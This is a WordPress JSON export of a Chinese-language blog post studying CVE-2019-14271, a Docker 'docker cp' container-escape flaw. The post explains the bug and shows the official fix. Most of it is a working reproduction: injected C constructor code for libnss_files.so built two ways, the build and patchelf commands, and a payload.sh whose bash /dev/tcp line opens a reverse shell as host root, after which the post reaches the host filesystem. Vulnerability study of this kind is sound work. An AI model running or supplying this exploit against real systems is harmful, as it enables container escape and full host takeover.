{"id":417,"date":"2023-03-14T14:17:10","date_gmt":"2023-03-14T06:17:10","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=417"},"modified":"2023-07-04T17:49:42","modified_gmt":"2023-07-04T09:49:42","slug":"cve-2019-14271%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=417","title":{"rendered":"CVE-2019-14271\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2019-14271\u662f\u4e00\u4e2aDocker\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u5728\u4ece\u5bb9\u5668\u590d\u5236\u6587\u4ef6\u5230\u5bbf\u4e3b\u7684\u540c\u65f6\u5b9e\u73b0\u5bb9\u5668\u9003\u9038\u3002<\/p>\n<p>\u5f53\u7528\u6237\u4ece\u5bb9\u5668\u4e2d\u590d\u5236\u6587\u4ef6\u5230\u5bbf\u4e3b\u7cfb\u7edf\u7684\u65f6\u5019\uff0cDocker\u4f1a\u6267\u884cdocker-tar\uff0cchroot\u5230\u5bb9\u5668\u4e2d\u5e76\u6253\u5305\u8981\u590d\u5236\u7684\u6587\u4ef6\u3002\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0cDocker\u4f1a\u8c03\u7528getpwuid_r()\u6765\u83b7\u53d6\u6587\u4ef6\u6240\u6709\u8005\u7684\u7528\u6237\u4fe1\u606f[1.1]\uff0c\u8fd9\u4e2a\u529f\u80fd\u662f\u5728glibc\u7684nsswitch\u5e93\u4e2d\u5b9e\u73b0\u7684\uff0c\u6240\u4ee5\u9700\u8981\u52a0\u8f7d\u76f8\u5173\u7684\u52a8\u6001\u94fe\u63a5\u5e93\uff0c\u4f8b\u5982libnss_files.so\u3002<\/p>\n<pre>func lookupUnixUid(uid int) (*User, error) {\r\n    var pwd C.struct_passwd\r\n    var result *C.struct_passwd\r\n\r\n    buf := alloc(userBuffer)\r\n    defer buf.free()\r\n\r\n    err := retryWithBuffer(buf, func() syscall.Errno {\r\n        \/\/ mygetpwuid_r is a wrapper around getpwuid_r to avoid using uid_t\r\n        \/\/ because C.uid_t(uid) for unknown reasons doesn't work on linux.\r\n        return syscall.Errno(C.mygetpwuid_r(C.int(uid),\r\n            &amp;pwd,\r\n            (*C.char)(buf.ptr),\r\n            C.size_t(buf.size),\r\n            &amp;result))\r\n    })\r\n    if err != nil {\r\n        return nil, fmt.Errorf(\"user: lookup userid %d: %v\", uid, err)\r\n    }\r\n    if result == nil {\r\n        return nil, UnknownUserIdError(uid)\r\n    }\r\n    return buildUser(&amp;pwd), nil\r\n}\r\n<\/pre>\n<p>\u7136\u800c\uff0cDocker\u662f\u5728chroot\u8fdb\u5bb9\u5668\u4e4b\u540e\u624d\u52a0\u8f7d\u7684\u52a8\u6001\u5e93\uff0c\u6240\u4ee5\u5b83\u52a0\u8f7d\u7684\u5b9e\u9645\u4e0a\u662f\u5bb9\u5668\u4e2d\u7684\u52a8\u6001\u5e93\u800c\u4e0d\u662f\u5bbf\u4e3b\u7cfb\u7edf\u4e2d\u7684\u3002\u5f53Docker\u52a0\u8f7d\u4e86\u5bb9\u5668\u4e2d\u5305\u542b\u6076\u610f\u4ee3\u7801\u7684\u52a8\u6001\u5e93\u65f6\uff0c\u5c31\u4f1a\u5728\u5bbf\u4e3b\u7684namespace\u4e0b\u6267\u884c\u8fd9\u4e9b\u4ee3\u7801\uff0c\u4ece\u800c\u9020\u6210\u9003\u9038\u3002<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 18.04<br \/>\nDocker\uff1a19.03.0<\/p>\n<p>\u9996\u5148\u521b\u5efa\u4e00\u4e2a\u5bb9\u5668\uff0c\u65b0\u7684\u955c\u50cf\u4f3c\u4e4e\u4e0d\u517c\u5bb9\u5f53\u524d\u7248\u672c\u7684Docker\uff0c\u6240\u4ee5\u9700\u8981\u9009\u62e9\u65e7\u4e00\u4e9b\u7684\u7248\u672c\uff0c\u8fd9\u91cc\u6211\u7528\u7684\u662fUbuntu:bionic-20221215\u3002\u63a5\u4e0b\u6765\u4fee\u6539\/lib\/x86_64-linux-gnu\/libnss_files.so.2\uff0c\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c\u4e00\u662f\u4e0b\u8f7dglibc\u7684\u6e90\u7801\uff0c\u4fee\u6539\u4ee5\u540e\u7f16\u8bd1\uff0c\u4e8c\u662f\u76f4\u63a5\u7528patchelf\u7ed9\u73b0\u6709\u7684so\u6587\u4ef6\u6dfb\u52a0library\u3002\u5728\u6b64\u4e4b\u524d\u5148\u628a\u539f\u6765\u7684so\u6587\u4ef6\u5907\u4efd\u4e3a \/origin.so\u3002<\/p>\n<h5>\u65b9\u6cd5\u4e00<\/h5>\n<p>\u67e5\u770b\u5bb9\u5668\u4e2dlibnss\u7684\u7248\u672c\uff0c\u4e0b\u8f7d\u5bf9\u5e94\u7248\u672c\u7684\u6e90\u7801\uff0clibnss_files.so.2\u672c\u8eab\u662f\u4e2a\u8f6f\u94fe\u63a5\uff0c\u6307\u5411\u7684\u6587\u4ef6\u540d\u4e3alibnss_files-2.27.so\uff0c\u56e0\u6b64\u5bb9\u5668\u4e2d\u7684\u7248\u672c\u662f2.27\uff0c\u4ece<a href=\"http:\/\/ftp.gnu.org\/gnu\/glibc\/glibc-2.27.tar.bz2\" target=\"_blank\" rel=\"noopener\">http:\/\/ftp.gnu.org\/gnu\/glibc\/glibc-2.27.tar.bz2<\/a>\u4e0b\u8f7d\uff0c\u89e3\u538b\u540e\u4f1a\u51fa\u73b0\u4e00\u4e2aglibc-2.27\u76ee\u5f55\u3002\u7f16\u8bd1\u4e0d\u80fd\u5728\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u8fdb\u884c\uff0c\u9700\u8981\u5728\u8fd9\u4e2a\u76ee\u5f55\u5916\u521b\u5efa\u4e00\u4e2a\u65b0\u76ee\u5f55\uff0c\u5047\u8bbe\u4e3aglibc-build\uff0c\u7136\u540e\u5728\u8be5\u76ee\u5f55\u4e0b\u518d\u521b\u5efa\u4e00\u4e2aprefix\u76ee\u5f55\u3002\u5047\u8bbeglibc-2.27\u548cglibc-build\u90fd\u5728\u6839\u76ee\u5f55\u4e0b\u3002<\/p>\n<p>\u4fee\u6539glibc-2.27\/nss\/nss_files\/files-init.c\uff0c\u6dfb\u52a0\u5982\u4e0b\u5185\u5bb9\uff1a<\/p>\n<pre>#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n__attribute__ ((constructor)) void exp_func()\r\n{\r\n    FILE * proc_file = fopen(\"\/proc\/self\/exe\", \"r\");\r\n    if (proc_file != NULL)\r\n    {\r\n        fclose(proc_file);\r\n        return;\r\n    }\r\n    rename(\"\/origin.so\", \"\/lib\/x86_64-linux-gnu\/libnss_files.so.2\");\r\n    system(\"\/payload.sh\");\r\n    return;\r\n}\r\n<\/pre>\n<p>\u5f00\u59cb\u7f16\u8bd1\uff1a<\/p>\n<pre>cd \/glibc-build\r\n\/glibc-2.27\/configure --prefix=\/glibc-build\/prefix --disable-werror\r\nmake\r\n<\/pre>\n<p>\u6700\u540e\u751f\u6210\u7684\u6587\u4ef6\u5728\/glibc-build\/nss\/libnss_files.so\uff0c\u628a\u7f16\u8bd1\u597d\u7684\u6587\u4ef6\u91cd\u547d\u540d\u5e76\u653e\u5230\u5bf9\u5e94\u4f4d\u7f6e\u3002<\/p>\n<h5>\u65b9\u6cd5\u4e8c<\/h5>\n<p>\u5148\u7528apt\u5b89\u88c5patchelf\uff0c\u7136\u540e\u7f16\u5199exp.c\uff0c\u5185\u5bb9\u8ddf\u4e0a\u9762\u5728files-init.c\u4e2d\u6dfb\u52a0\u7684\u5185\u5bb9\u4e00\u6837\uff1a<\/p>\n<pre>#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n__attribute__ ((constructor)) void exp_func()\r\n{\r\n    FILE * proc_file = fopen(\"\/proc\/self\/exe\", \"r\");\r\n    if (proc_file != NULL)\r\n    {\r\n        fclose(proc_file);\r\n        return;\r\n    }\r\n    rename(\"\/origin.so\", \"\/lib\/x86_64-linux-gnu\/libnss_files.so.2\");\r\n    system(\"\/payload.sh\");\r\n    return;\r\n}\r\n<\/pre>\n<p>\u7f16\u8bd1exp\u5e76patch\u5230so\u6587\u4ef6\u91cc\uff1a<\/p>\n<pre>gcc -shared -fPIC \/exp.c -o \/exp.so\r\npatchelf --add-needed \/exp.so \/lib\/x86_64-linux-gnu\/libnss_files.so.2\r\n<\/pre>\n<p>\u901a\u8fc7ldd\u6765\u67e5\u770bpatch\u7684\u7ed3\u679c\uff0c\u53ef\u4ee5\u770b\u5230\u591a\u51fa\u4e86\u4e00\u4e2a\/exp.so\u3002\uff1a<\/p>\n<pre>ldd \/lib\/x86_64-linux-gnu\/libnss_files.so.2\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-418\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_ldd.png\" alt=\"\" width=\"964\" height=\"176\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_ldd.png 964w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_ldd-300x55.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_ldd-768x140.png 768w\" sizes=\"auto, (max-width: 964px) 100vw, 964px\" \/><\/p>\n<hr \/>\n<p>\u4ee5\u4e0a\u662f\u4fee\u6539so\u7684\u4e24\u79cd\u65b9\u5f0f\u3002\u63a5\u4e0b\u6765\u7f16\u5199payload.sh\uff1a<\/p>\n<pre>#!\/bin\/bash\r\numount \/proc\r\nmount -t proc none \/proc\r\nbash -i &gt;&amp; \/dev\/tcp\/10.114.0.1\/1234 0&gt;&amp;1\r\n<\/pre>\n<p>\u56de\u5230\u5bbf\u4e3b\uff0c\u901a\u8fc7docker cp\u968f\u4fbf\u4ece\u5bb9\u5668\u4e2d\u590d\u5236\u4e00\u4e2a\u6587\u4ef6\u5230\u5bbf\u4e3b\uff0c\u5373\u53ef\u89e6\u53d1payload\u7684\u8fd0\u884c\uff0c\u4e0a\u9762\u7684payload\u4f1a\u5c06\u5bbf\u4e3b\u7684procfs\u6302\u8f7d\u5230\u5bb9\u5668\u4e2d\uff0c\u5e76\u4ee5\u5bbf\u4e3b\u7684root\u6743\u9650\u53cd\u5f39shell\uff0c\u5728\u76d1\u542c\u53cd\u5f39\u7684\u7ec8\u7aef\u91cc\u8fdb\u5165\/proc\/1\/root\/\u76ee\u5f55\u5373\u53ef\u8fdb\u5165\u5bbf\u4e3b\u7684\u6839\u76ee\u5f55\u3002<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-419\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_lsdocker.png\" alt=\"\" width=\"802\" height=\"484\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_lsdocker.png 802w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_lsdocker-300x181.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2023\/03\/14271_lsdocker-768x463.png 768w\" sizes=\"auto, (max-width: 802px) 100vw, 802px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>\u4fee\u590d\u4e4b\u540e\uff0cDocker\u4f1a\u5728chroot\u8fdb\u5bb9\u5668\u4e4b\u524d\u5c31\u52a0\u8f7d\u5bbf\u4e3b\u7cfb\u7edf\u4e2d\u7684nsswitch[3.1]\u3002<\/p>\n<pre>func init() {\r\n    \/\/ initialize nss libraries in Glibc so that the dynamic libraries are loaded in the host\r\n    \/\/ environment not in the chroot from untrusted files.\r\n    _, _ = user.Lookup(\"docker\")\r\n    _, _ = net.LookupHost(\"localhost\")\r\n}\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/golang\/go\/blob\/go1.12.5\/src\/os\/user\/cgo_lookup_unix.go#L89\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/golang\/go\/blob\/go1.12.5\/src\/os\/user\/cgo_lookup_unix.go#L89<\/a><br \/>\n[2.1] <a href=\"https:\/\/unit42.paloaltonetworks.com\/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271\/\" target=\"_blank\" rel=\"noopener\">https:\/\/unit42.paloaltonetworks.com\/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271\/<\/a><br \/>\n[2.2] <a href=\"https:\/\/ssst0n3.github.io\/post\/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8\/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6\/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8\/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8\/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8\/docker\/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0\/docker-software\/plumbing\/docker-cp\/CVE-2019-14271\/%E5%88%86%E6%9E%90\/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html\" target=\"_blank\" rel=\"noopener\">https:\/\/ssst0n3.github.io\/post\/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8\/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6\/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8\/%E8%BF%9B%E7%A8%8B%E5%AE%B9%E5%99%A8\/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%B9%E5%99%A8\/docker\/%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0\/docker-software\/plumbing\/docker-cp\/CVE-2019-14271\/%E5%88%86%E6%9E%90\/CVE-2019-14271%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0.html<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/moby\/moby\/commit\/fa8dd90ceb7bcb9d554d27e0b9087ab83e54bd2b\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/moby\/moby\/commit\/fa8dd90ceb7bcb9d554d27e0b9087ab83e54bd2b<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-417","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/417","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=417"}],"version-history":[{"count":3,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/417\/revisions"}],"predecessor-version":[{"id":514,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/417\/revisions\/514"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=417"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=417"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=417"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}